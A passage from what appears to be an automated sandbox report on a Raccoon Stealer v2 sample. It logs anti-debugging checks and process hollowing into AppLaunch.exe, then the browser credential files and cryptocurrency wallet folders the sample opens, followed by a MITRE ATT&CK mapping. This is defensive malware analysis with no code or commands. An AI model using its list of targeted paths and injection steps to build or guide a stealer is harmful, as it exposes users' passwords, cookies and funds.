tProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

3_2_00401000

Source: C:\Users\user\Desktop\xGSkelSjdu.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep

graph_0-13363

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\freebl3.dll			Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\softokn3.dll			Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Registry key enumerated: More than 173 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Code function: 3_2_00414CB1 LocalAlloc,LocalAlloc,lstrlenA,lstrcpyn,lstrlenA,lstrcpyn,lstrlenA,lstrcpyn,GetSystemInfo,wsprintfW,LocalFree,LocalFree,LocalFree,LocalFree,

3_2_00414CB1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 3_2_004042C6 StrStrW,StrStrW,StrStrW,lstrlenW,LocalAlloc,lstrlenW,LocalAlloc,lstrlenW,LocalAlloc,StrStrW,StrStrW,LocalAlloc,PathCombineW,LocalAlloc,FindFirstFileW,StrStrW,LocalAlloc,StrCpyW,StrRChrW,StrRChrW,LocalAlloc,PathCombineW,LocalFree,LocalFree,FindNextFileW,FindClose,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,StrStrW,LocalFree,LocalFree,LocalFree,	3_2_004042C6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 3_2_0041EFCD LocalAlloc,StrCpyW,FindFirstFileW,LocalAlloc,PathCombineW,LocalFree,LocalAlloc,PathCombineW,LocalAlloc,CopyFileW,CreateFileW,GetFileSize,LocalAlloc,StrCpyW,LocalAlloc,lstrlenW,WideCharToMultiByte,LocalAlloc,WideCharToMultiByte,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,CloseHandle,DeleteFileW,LocalAlloc,StrCpyW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,DeleteFileW,FindNextFileW,LocalFree,FindClose,	3_2_0041EFCD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 3_2_00407067 FindFirstFileW,lstrcmpW,LocalAlloc,PathCombineW,LocalFree,FindNextFileW,FindClose,lstrlenW,	3_2_00407067
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 3_2_004021E9 LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,PathCombineW,StrCpyW,FindFirstFileW,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,LocalAlloc,LocalAlloc,StrCpyW,LocalAlloc,WideCharToMultiByte,WideCharToMultiByte,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalAlloc,LocalAlloc,StrCpyW,wsprintfW,PathCombineW,FindFirstFileW,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,LocalAlloc,LocalAlloc,StrCpyW,LocalAlloc,WideCharToMultiByte,WideCharToMultiByte,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,	3_2_004021E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 3_2_00401D6F FindFirstFileW,lstrcmpW,LocalAlloc,PathCombineW,LocalFree,FindNextFileW,FindClose,StrStrW,StrStrW,LocalAlloc,PathCombineW,lstrlenW,	3_2_00401D6F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 3_2_00401EF6 FindFirstFileW,lstrcmpW,LocalAlloc,PathCombineW,LocalFree,FindNextFileW,FindClose,StrStrW,lstrlenW,LocalAlloc,PathCombineW,lstrlenW,	3_2_00401EF6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 3_2_0041EC8D LocalAlloc,LocalAlloc,SHGetSpecialFolderPathW,lstrcmpW,StrCpyW,StrCpyW,FindFirstFileW,LocalFree,LocalFree,lstrcmpW,lstrcmpW,LocalAlloc,PathCombineW,lstrcmpW,LocalAlloc,PathCombineW,LocalAlloc,LocalAlloc,SHGetSpecialFolderPathW,lstrlenW,LocalAlloc,StrCpyW,WideCharToMultiByte,LocalAlloc,WideCharToMultiByte,LocalAlloc,CopyFileW,CreateFileW,GetFileSize,LocalAlloc,StrCpyW,LocalFree,DeleteFileW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,LocalFree,LocalFree,FindClose,	3_2_0041EC8D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 3_2_00404593 StrStrW,StrStrW,StrStrW,lstrlenW,LocalAlloc,lstrlenW,LocalAlloc,lstrlenW,LocalAlloc,StrStrW,StrStrW,LocalAlloc,PathCombineW,LocalAlloc,FindFirstFileW,StrStrW,LocalAlloc,StrCpyW,StrRChrW,StrRChrW,LocalAlloc,PathCombineW,LocalFree,LocalFree,FindNextFileW,FindClose,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,StrStrW,LocalFree,LocalFree,LocalFree,	3_2_00404593
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 3_2_00408349 LocalAlloc,LocalAlloc,LocalAlloc,PathCombineW,PathCombineW,CopyFileW,CreateFileW,GetFileSize,LocalAlloc,ReadFile,lstrlenA,StrStrA,lstrlenA,StrStrA,LocalAlloc,FindFirstFileW,StrStrW,StrStrW,lstrlenW,lstrlenW,LocalAlloc,StrStrW,StrCpyW,LocalAlloc,PathCombineW,PathCombineW,LocalFree,FindNextFileW,FindClose,LocalFree,CloseHandle,DeleteFileW,LocalFree,DeleteFileW,LocalFree,	3_2_00408349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 3_2_004068D3 LocalAlloc,StrCpyW,lstrlenW,FindFirstFileW,LocalFree,LocalAlloc,PathCombineW,LocalFree,LocalAlloc,StrCpyW,LocalAlloc,StrCpyW,LocalAlloc,LocalAlloc,lstrlenW,lstrlenW,StrCpyW,LocalFree,LocalAlloc,CopyFileW,CreateFileW,WideCharToMultiByte,LocalAlloc,WideCharToMultiByte,GetFileSize,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,CloseHandle,DeleteFileW,LocalFree,DeleteFileW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,LocalFree,FindClose,	3_2_004068D3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 3_2_00407471 LocalAlloc,FindFirstFileW,StrStrW,LocalAlloc,PathCombineW,LocalAlloc,CopyFileW,CreateFileW,GetFileSize,LocalAlloc,StrCpyW,WideCharToMultiByte,LocalAlloc,LocalAlloc,WideCharToMultiByte,StrCpyW,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,FindClose,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,DeleteFileW,	3_2_00407471
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 3_2_00403D76 LocalAlloc,FindFirstFileW,lstrcmpW,LocalAlloc,PathCombineW,LocalAlloc,CopyFileW,CreateFileW,GetFileSize,LocalAlloc,StrCpyW,WideCharToMultiByte,LocalAlloc,LocalAlloc,WideCharToMultiByte,StrCpyW,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,FindClose,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,DeleteFileW,	3_2_00403D76
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 3_2_0040770F LocalAlloc,StrCpyW,FindFirstFileW,LocalAlloc,PathCombineW,lstrcmpW,LocalAlloc,LocalAlloc,LocalAlloc,StrCpyW,StrCpyW,StrCpyW,LocalAlloc,LocalAlloc,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,LocalAlloc,LocalAlloc,StrCpyW,LocalAlloc,WideCharToMultiByte,WideCharToMultiByte,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,FindClose,LocalFree,	3_2_0040770F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 3_2_0041479A LocalAlloc,StrCpyW,FindFirstFileW,LocalFree,LocalAlloc,PathCombineW,LocalAlloc,PathCombineW,LocalAlloc,StrCpyW,LocalAlloc,lstrlenW,LocalAlloc,CopyFileW,CreateFileW,WideCharToMultiByte,LocalAlloc,WideCharToMultiByte,LocalFree,CloseHandle,DeleteFileW,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,LocalFree,FindClose,	3_2_0041479A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 3_2_0040401E LocalAlloc,FindFirstFileW,lstrcmpW,LocalAlloc,PathCombineW,LocalAlloc,CopyFileW,CreateFileW,GetFileSize,LocalAlloc,StrCpyW,WideCharToMultiByte,LocalAlloc,LocalAlloc,WideCharToMultiByte,StrCpyW,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,FindClose,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,DeleteFileW,	3_2_0040401E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 3_2_0040609F LocalAlloc,StrCpyW,FindFirstFileW,LocalFree,LocalAlloc,PathCombineW,LocalAlloc,PathCombineW,LocalAlloc,StrCpyW,LocalAlloc,lstrlenW,LocalAlloc,CopyFileW,CreateFileW,WideCharToMultiByte,LocalAlloc,WideCharToMultiByte,LocalFree,CloseHandle,DeleteFileW,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,LocalFree,FindClose,	3_2_0040609F

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

3_2_0041EA6E

Source: AppLaunch.exe, 00000003.00000003.238036948.0000000005194000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000002.264446610.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.259480810.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.258788407.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.260135623.0000000005197000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: AppLaunch.exe, 00000003.00000003.238036948.000000000514F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(

Source: C:\Users\user\Desktop\xGSkelSjdu.exe

Code function: 0_2_00411A9A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_00411A9A

Source: C:\Users\user\Desktop\xGSkelSjdu.exe

0_2_0041E85B

Source: C:\Users\user\Desktop\xGSkelSjdu.exe	Code function: 0_2_0040F03D _abort,__NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0040F03D
Source: C:\Users\user\Desktop\xGSkelSjdu.exe	Code function: 0_2_004179D5 SetUnhandledExceptionFilter,	0_2_004179D5
Source: C:\Users\user\Desktop\xGSkelSjdu.exe	Code function: 0_2_00411A9A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00411A9A
Source: C:\Users\user\Desktop\xGSkelSjdu.exe	Code function: 0_2_0041361A __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0041361A
Source: C:\Users\user\Desktop\xGSkelSjdu.exe	Code function: 0_2_0041162F _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0041162F

HIPS / PFW / Operating System Protection Evasion

Sample uses process hollowing technique

Source: C:\Users\user\Desktop\xGSkelSjdu.exe

Section unmapped: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base address: 400000

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\xGSkelSjdu.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: 400000			Jump to behavior
Source: C:\Users\user\Desktop\xGSkelSjdu.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: 4CF8008			Jump to behavior

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\xGSkelSjdu.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: 400000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\xGSkelSjdu.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: 400000 value starts with: 4D5A

Jump to behavior

DLL side loading technique detected

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Section loaded: C:\Users\user\AppData\LocalLow\sqlite3.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Section loaded: C:\Users\user\AppData\LocalLow\nss3.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Section loaded: C:\Users\user\AppData\LocalLow\mozglue.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Section loaded: C:\Windows\SysWOW64\vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Section loaded: C:\Windows\SysWOW64\msvcp140.dll	Jump to behavior

Source: C:\Users\user\Desktop\xGSkelSjdu.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AppLaunch.exe			Jump to behavior
Source: C:\Users\user\Desktop\xGSkelSjdu.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AppLaunch.exe			Jump to behavior

Source: C:\Users\user\Desktop\xGSkelSjdu.exe	Code function: _strlen,_strlen,EnumSystemLocalesA,	0_2_0041C06D
Source: C:\Users\user\Desktop\xGSkelSjdu.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	0_2_0041C06E
Source: C:\Users\user\Desktop\xGSkelSjdu.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLastError,GetLocaleInfoW,_malloc,GetLocaleInfoW,WideCharToMultiByte,__freea,GetLocaleInfoA,	0_2_0041F819
Source: C:\Users\user\Desktop\xGSkelSjdu.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtGetStringTypeA,___crtLCMapStringA,___crtLCMapStringA,InterlockedDecrement,InterlockedDecrement,	0_2_0041482D
Source: C:\Users\user\Desktop\xGSkelSjdu.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	0_2_0041C0D5
Source: C:\Users\user\Desktop\xGSkelSjdu.exe	Code function: _strlen,EnumSystemLocalesA,	0_2_0041C0D4
Source: C:\Users\user\Desktop\xGSkelSjdu.exe	Code function: _TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoA,_strcpy_s,__invoke_watson,GetLocaleInfoA,__itoa_s,	0_2_0041C14B
Source: C:\Users\user\Desktop\xGSkelSjdu.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	0_2_0041F958
Source: C:\Users\user\Desktop\xGSkelSjdu.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoA,_strcpy_s,__invoke_watson,GetLocaleInfoA,GetLocaleInfoA,__itoa_s,	0_2_0041C12D
Source: C:\Users\user\Desktop\xGSkelSjdu.exe	Code function: GetLocaleInfoA,GetLocaleInfoA,	0_2_0041BBD4
Source: C:\Users\user\Desktop\xGSkelSjdu.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,	0_2_0041BCCE
Source: C:\Users\user\Desktop\xGSkelSjdu.exe	Code function: GetLocaleInfoA,_LcidFromHexString,_GetPrimaryLen,_strlen,	0_2_0041BD66
Source: C:\Users\user\Desktop\xGSkelSjdu.exe	Code function: __calloc_crt,__malloc_crt,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,InterlockedDecrement,InterlockedDecrement,InterlockedDecrement,	0_2_0041B50E
Source: C:\Users\user\Desktop\xGSkelSjdu.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_strlen,GetLocaleInfoA,_strlen,_TestDefaultLanguage,	0_2_0041BDDA
Source: C:\Users\user\Desktop\xGSkelSjdu.exe	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,__invoke_watson,___crtGetLocaleInfoW,	0_2_0041C600
Source: C:\Users\user\Desktop\xGSkelSjdu.exe	Code function: GetLocaleInfoA,_LocaleUpdate::_LocaleUpdate,___ascii_strnicmp,__tolower_l,__tolower_l,	0_2_0041F695
Source: C:\Users\user\Desktop\xGSkelSjdu.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	0_2_0041AEA0
Source: C:\Users\user\Desktop\xGSkelSjdu.exe	Code function: __calloc_crt,__malloc_crt,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,InterlockedDecrement,InterlockedDecrement,	0_2_0041B766
Source: C:\Users\user\Desktop\xGSkelSjdu.exe	Code function: _LocaleUpdate::_LocaleUpdate,GetLocaleInfoW,	0_2_0041F7E5
Source: C:\Users\user\Desktop\xGSkelSjdu.exe	Code function: GetLocaleInfoA,	0_2_0041C78E
Source: C:\Users\user\Desktop\xGSkelSjdu.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage,	0_2_0041BFAC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: LocalAlloc,LocalAlloc,GetUserDefaultLCID,GetLocaleInfoW,wsprintfW,LocalFree,LocalFree,	3_2_00414A5F

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Code function: 3_2_00414CB1 cpuid

3_2_00414CB1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\xGSkelSjdu.exe

Code function: 0_2_0041898C GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_0041898C

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Code function: 3_2_00414B8C GetTimeZoneInformation,LocalAlloc,wsprintfW,LocalFree,

3_2_00414B8C

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Code function: 3_2_0041C041 PathIsSlowW,RealDriveType,RealDriveType,RealDriveType,PathIsSlowW,PathIsSlowW,RealDriveType,RealDriveType,RealDriveType,RealDriveType,RealDriveType,PathIsSlowW,PathIsSlowW,RealDriveType,RealDriveType,PathIsSlowW,RealDriveType,PathIsSlowW,RealDriveType,PathIsSlowW,PathIsSlowW,RealDriveType,RealDriveType,PathIsSlowW,RealDriveType,PathIsSlowW,RealDriveType,RealDriveType,PathIsSlowW,PathIsSlowW,PathIsSlowW,RealDriveType,PathIsSlowW,PathIsSlowW,PathIsSlowW,RealDriveType,RealDriveType,PathIsSlowW,RealDriveType,LocalAlloc,PathIsSlowW,RealDriveType,PathIsSlowW,PathIsSlowW,PathIsSlowW,RealDriveType,PathIsSlowW,RealDriveType,RealDriveType,PathIsSlowW,PathIsSlowW,RealDriveType,RealDriveType,RealDriveType,RealDriveType,RealDriveType,RealDriveType,PathIsSlowW,PathIsSlowW,RealDriveType,RealDriveType,RealDriveType,PathIsSlowW,PathIsSlowW,PathIsSlowW,PathIsSlowW,RealDriveType,RealDriveType,RealDriveType,RealDriveType,PathIsSlowW,RealDriveType,PathIsSlowW,RealDriveType,RealDriveType,RealDriveType,GetUserNameW,PathIsSlowW,PathIsSlowW,PathIsSlowW,PathIsSlowW,PathIsSlowW,RealDriveType,RealDriveType,RealDriveType,RealDriveType,RealDriveType,RealDriveType,RealDriveType,PathIsSlowW,RealDriveType,RealDriveType,PathIsSlowW,RealDriveType,RealDriveType,PathIsSlowW,PathIsSlowW,RealDriveType,PathIsSlowW,RealDriveType,PathIsSlowW,PathIsSlowW,PathIsSlowW,PathIsSlowW,RealDriveType,PathIsSlowW,PathIsSlowW,PathIsSlowW,PathIsSlowW,RealDriveType,PathIsSlowW,PathIsSlowW,RealDriveType,

3_2_0041C041

Stealing of Sensitive Information

Yara detected Raccoon Stealer v2

Source: Yara match	File source: Process Memory Space: AppLaunch.exe PID: 2228, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 00000003.00000003.238036948.0000000005194000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.264446610.0000000005197000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.257444328.0000000005199000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\			Jump to behavior

Found many strings related to Crypto-Wallets (likely being stolen)

Source: AppLaunch.exe, 00000003.00000003.260451268.0000000005197000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Electrum\wallets\**D\
Source: AppLaunch.exe, 00000003.00000003.260896576.0000000005145000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\ElectronCash\wallets\*Z
Source: AppLaunch.exe, 00000003.00000003.260451268.0000000005197000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Electrum\wallets\**D\
Source: AppLaunch.exe, 00000003.00000003.260451268.0000000005197000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\com.liberty.jaxx\*1\
Source: AppLaunch.exe, 00000003.00000003.260135623.000000000516D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\exodus\*
Source: AppLaunch.exe, 00000003.00000003.238036948.0000000005194000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: wlts_exodus:Exodus;26;exodus;;partitio,cache,dictionar*
Source: AppLaunch.exe, 00000003.00000003.260546692.0000000005148000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\*

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior

Source: Yara match

File source: Process Memory Space: AppLaunch.exe PID: 2228, type: MEMORYSTR

Remote Access Functionality

Yara detected Raccoon Stealer v2

Source: Yara match	File source: Process Memory Space: AppLaunch.exe PID: 2228, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 00000003.00000003.238036948.0000000005194000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.264446610.0000000005197000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.257444328.0000000005199000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	2 Native API	1 DLL Side-Loading	411 Process Injection	1 Masquerading	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Input Capture	Exfiltration Over Other Network Medium	2 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	1 Shared Modules	Boot or Logon Initialization Scripts	1 DLL Side-Loading	411 Process Injection	1 Input Capture	11 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	Exfiltration Over Bluetooth	12 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	11 Process Discovery	SMB/Windows Admin Shares	3 Data from Local System	Automated Exfiltration	2 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	2 Obfuscated Files or Information	NTDS	1 Account Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	112 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 System Owner/User Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	2 File and Directory Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	34 System Information Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

